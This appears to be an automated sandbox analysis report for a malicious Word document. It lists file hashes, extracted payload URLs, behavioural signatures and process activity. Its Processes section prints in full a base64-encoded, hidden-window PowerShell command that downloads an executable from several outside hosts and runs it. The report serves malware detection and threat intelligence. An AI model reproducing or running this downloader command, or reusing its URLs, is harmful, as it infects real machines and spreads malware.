Analysis
-
max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20241023-en -
resource tags
-
submitted
20-11-2024 22:46
General
-
Target
a0286161a13b0ac162da0033db923c453cb4073f50c3091a6fef75f344fc4e35.doc
-
Size
181KB
-
MD5
c87b8d603c1bbb68f7043b828d4f33d2
-
SHA1
9212853008d9740e1be2f2bc211160ac3a93d15f
-
SHA256
a0286161a13b0ac162da0033db923c453cb4073f50c3091a6fef75f344fc4e35
-
SHA512
8919fba1472d8b8cb175cab9b59414b4ba9b213bed93576cbedff9d73dabbc2703c597f3723b6a12991801be63765233bba7c3d032216206c48b78c5834dc7d3
-
SSDEEP
3072:6FOa2y/GdyDktGDWLS0HZWD5w8K7Nk9ND7IBUd5xKu/UW:COa2k43tGiL3HJk9ND7bdnKu/D
Malware Config
Extracted
http://eilonstrategy.florencesoftwares.com/wp-content/mu/
http://pakiskemenagntb.com/wp-content/4k/
http://ivyfriend.com/ivypal/wp-includes/h20/
http://julianaweb.cordeldigital.com/wp-includes/0vu/
http://itsallinclusive.com/ar/Xd7OiT/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 2 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Drops file in System32 directory 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a0286161a13b0ac162da0033db923c453cb4073f50c3091a6fef75f344fc4e35.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABGAHcAZABwAGMAZgBrAG8AbAB0AD0AJwBVAGIAcgBuAGIAaQBkAGoAbwB2AG4AJwA7ACQATgBuAGkAcQB3AGQAdQBmACAAPQAgACcANAA1ADMAJwA7ACQARAB1AGMAeQBiAGkAZgB2AHoAagBiAD0AJwBCAHoAagBzAHEAcQB6AHQAZwB5AGkAYgBtACcAOwAkAEUAZgBlAHcAeQBoAGsAeQBkAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABOAG4AaQBxAHcAZAB1AGYAKwAnAC4AZQB4AGUAJwA7ACQAVwBqAGoAcgBkAG8AYwBxAG0AbQBzAGIAPQAnAEMAaQBtAHYAbABjAGoAZQBkAHcAdgBuAHUAJwA7ACQAQQBxAHcAdwBlAHQAcABxAD0ALgAoACcAbgBlACcAKwAnAHcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAGUAVAAuAFcARQBiAGMAbABJAGUAbgB0ADsAJABVAG4AbgBwAHkAdwBhAGcAeABzAHgAZwA9ACcAaAB0AHQAcAA6AC8ALwBlAGkAbABvAG4AcwB0AHIAYQB0AGUAZwB5AC4AZgBsAG8AcgBlAG4AYwBlAHMAbwBmAHQAdwBhAHIAZQBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbQB1AC8AKgBoAHQAdABwADoALwAvAHAAYQBrAGkAcwBrAGUAbQBlAG4AYQBnAG4AdABiAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ANABrAC8AKgBoAHQAdABwADoALwAvAGkAdgB5AGYAcgBpAGUAbgBkAC4AYwBvAG0ALwBpAHYAeQBwAGEAbAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGgAMgAwAC8AKgBoAHQAdABwADoALwAvAGoAdQBsAGkAYQBuAGEAdwBlAGIALgBjAG8AcgBkAGUAbABkAGkAZwBpAHQAYQBsAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwAwAHYAdQAvACoAaAB0AHQAcAA6AC8ALwBpAHQAcwBhAGwAbABpAG4AYwBsAHUAcwBpAHYAZQAuAGMAbwBtAC8AYQByAC8AWABkADcATwBpAFQALwAnAC4AIgBzAHAATABgAGkAVAAiACgAJwAqACcAKQA7ACQAVAB4AHAAaABsAHoAcAB6AGoAZABoAHoAagA9ACcAWQBvAHAAdABkAHAAdwBnAGEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE0AegB4AG0AYQBiAGwAawB5AGMAdgBuACAAaQBuACAAJABVAG4AbgBwAHkAdwBhAGcAeABzAHgAZwApAHsAdAByAHkAewAkAEEAcQB3AHcAZQB0AHAAcQAuACIAZABPAFcAYABOAEwAYABPAEEAZABmAEkAYABsAGUAIgAoACQATQB6AHgAbQBhAGIAbABrAHkAYwB2AG4ALAAgACQARQBmAGUAdwB5AGgAawB5AGQAKQA7ACQAUgBnAG4AdgBxAHUAZQB1AHQAcAA9ACcAWABhAG4AagBjAHMAZQBjAGEAaQB4AHgAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABFAGYAZQB3AHkAaABrAHkAZAApAC4AIgBsAGAARQBuAEcAdABIACIAIAAtAGcAZQAgADIANQAzADgAOAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABhAFIAVAAiACgAJABFAGYAZQB3AHkAaABrAHkAZAApADsAJABUAGcAeAByAG8AaQBjAGgAPQAnAE4AbQBuAHUAcABkAHEAdgB1AHMAJwA7AGIAcgBlAGEAawA7ACQARgB0AG8AdwB3AGoAaQBpAHAAbwBzAD0AJwBOAHcAeABvAGwAdQBzAGUAeABwACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgAbABmAGcAYwBtAGUAaABkAGEAZAA9ACcATQB0AHkAegB3AHkAdAB0AGoAYgBnAHMAJwA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
444B
MD585a7121466e94fba0c281260dbfa3e1e
SHA187d69de2e25d7112dedd98a311cc8191e460f6f3
SHA256e9ed6c19ab4321369913e524e4d469150cfaa5ff5a5b144d2d216eaf0b1fffc3
SHA512c395d0731cde1f4141bb3fc95f3ab6e20028e942231073bf0017787dcb2720fee01819db237542f9c7d4fb578d7af9754b27e87d6e1186d6628186242f1bb8d9
-
Filesize
32KB
-
Filesize
2.9MB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
64KB
-
Filesize
44KB
-
Filesize
1024KB